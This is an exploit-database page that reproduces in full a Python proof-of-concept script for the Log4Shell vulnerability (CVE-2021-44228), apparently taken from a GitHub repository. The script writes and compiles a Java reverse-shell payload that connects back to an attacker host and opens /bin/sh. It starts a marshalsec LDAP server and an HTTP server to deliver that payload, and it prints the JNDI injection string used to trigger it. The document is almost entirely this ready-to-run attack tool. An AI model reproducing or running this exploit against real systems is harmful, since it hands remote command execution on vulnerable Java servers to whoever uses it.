Exploit database

GH-5ca6b907826f054420fd96be4eb0caeb

kr0ff/cve-2021-44228

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-44228

465 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
kr0ff/cve-2021-44228Revision 11c87e2c3c08

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 5,869 bytes
#!/usr/bin/env python3

# Credits also go to for @kozmer an amazing PoC: https://github.com/kozmer/

import os
import sys
import subprocess
import threading
from http.server import HTTPServer, SimpleHTTPRequestHandler

# Checking for some third-party modules
try:
    import argparse
    from colored import fg, attr

except ImportError:
    print("[!] Libraries missing")
    print("[!] Run: \nsudo pip3 install argparse, colored")
    sys.exit(0)

def logo():

    logo = """


 ___       ________  ________  ___   ___  ________  ___  ___  _______   ___       ___          
|\  \     |\   __  \|\   ____\|\  \ |\  \|\   ____\|\  \|\  \|\  ___ \ |\  \     |\  \         
\ \  \    \ \  \|\  \ \  \___|\ \  \\_\  \ \  \___|\ \  \\\  \ \   __/|\ \  \    \ \  \        
 \ \  \    \ \  \\\  \ \  \  __\ \______  \ \_____  \ \   __  \ \  \_|/_\ \  \    \ \  \       
  \ \  \____\ \  \\\  \ \  \|\  \|_____|\  \|____|\  \ \  \ \  \ \  \_|\ \ \  \____\ \  \____  
   \ \_______\ \_______\ \_______\     \ \__\____\_\  \ \__\ \__\ \_______\ \_______\ \_______\\
    \|_______|\|_______|\|_______|      \|__|\_________\|__|\|__|\|_______|\|_______|\|_______|
                                            \|_________|                                       
                                                                                               
@Kr0ff                                                                           CVE-2021-44228

    """

    print(logo)

# LDAP Server
def LDAP_Server(IP):
    
    # Variables
    JDK_HOME = "/usr/bin/java"
    HTTP_P_URL = f"http://{IP}/#revshell"    
    
    print(f"{attr(1)}{fg('blue')}[*]{attr(0)} Starting LDAP server")
    
    try:
        subprocess.run([JDK_HOME, 
                        "-cp", 
                        f"{os.getcwd()}/target/marshalsec-0.0.3-SNAPSHOT-all.jar", 
                        "marshalsec.jndi.LDAPRefServer", HTTP_P_URL, "389"])

    except Exception as e:
        return e

# HTTP Server
def HTTP_Server(IP):
    
    print(f"{attr(1)}{fg('blue')}[*]{attr(0)} Starting HTTP server")
    
    try:
        http_server = HTTPServer(
                                ('0.0.0.0', 80), 
                                SimpleHTTPRequestHandler
                                )
        http_server.serve_forever()
    except Exception as e:
        print(e)

# Run LDAP and HTTPd
def Servers(IP):

    # Check privileges
    if os.getuid() != 0:
        print(f"{attr(1)}{fg('red')}[-]{attr(0)} Not running as root")
        sys.exit(0)
    else:
        print(f"{attr(1)}{fg(2)}[+]{attr(0)} Running as root") 

    LDAP_SERVER = threading.Thread(target=LDAP_Server, args=(IP,))
    LDAP_SERVER.start()

    HTTP_Server(IP)

def genPayload(IP, PORT):

    # Variables
    JDK_HOME = "/usr/bin/java"
    JAVAC_HOME = "/usr/bin/javac"

    # Credits: https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0
    payload = (
    """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class revshell {

  public revshell() throws Exception {
    String host="%s";
    int port=%s;
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}
    """) % (IP, PORT)

    # Check java and javac exist on attacker system
    try:
        if os.path.exists(JDK_HOME) and os.path.exists(JAVAC_HOME):
            print(f"{attr(1)}{fg(2)}[+]{attr(0)} Java found installed on attacker system")
        else:
            print(f"{attr(1)}{fg('red')}[-]{attr(0)} Java is not installed, please install and retry")
            print(f"{attr(1)}{fg('red')}[-]{attr(0)} Binaries needed: java & javac")
            sys.exit(0)
    except FileNotFoundError as e:
        print(e)

    # Save java payload to .java for compilation
    print(f"{fg('blue')}[*]{attr(0)} Saving Java payload to \"revshell.java\" for compilation")
    try:
        with open("revshell.java", "w") as revshell:
            revshell.write(payload)
            revshell.close()
            print(f"{attr(1)}{fg(2)}[+]{attr(0)} Java payload saved to \"revshell.java\"")
    except OSError as e:
        print(e)
    
    # Do the compilation of the reverse shell
    try:
        print(f"{attr(1)}{fg('blue')}[*]{attr(0)} Compiling Java payload")
        subprocess.run([JAVAC_HOME, f"{os.getcwd()}/revshell.java"])
    except subprocess.SubprocessError:
        print(f"{attr(1)}{fg('red')}[-]{attr(0)} Compilation of Java payload failed")

    print(f"{attr(1)}{fg(2)}[+]{attr(0)} Compiled Java payload")
    
def parse_argz():
    parser = argparse.ArgumentParser(description='Log4Shell PoC - CVE-2021-44228')
    parser.add_argument("-l", "--lhost", help="Local IP for reverse shell and LDAP server", type=str, required=True)
    parser.add_argument("-p", "--lport", help="Local port for reverse shell", type=int, required=True)
    args = parser.parse_args()

    logo()
    genPayload(args.lhost, args.lport)
    
    print(f"{attr(1)}{fg('yellow')}[!]{attr(0)} JNDI payload: " + "${jndi:ldap://%s/revshell}" % (args.lhost))
    
    Servers(args.lhost)
    

if __name__ == "__main__":

    try:
        parse_argz()
    except KeyboardInterrupt:
        print(f"\r\n{attr(1)}{fg(208)}[~]{attr(0)} User interrupted process")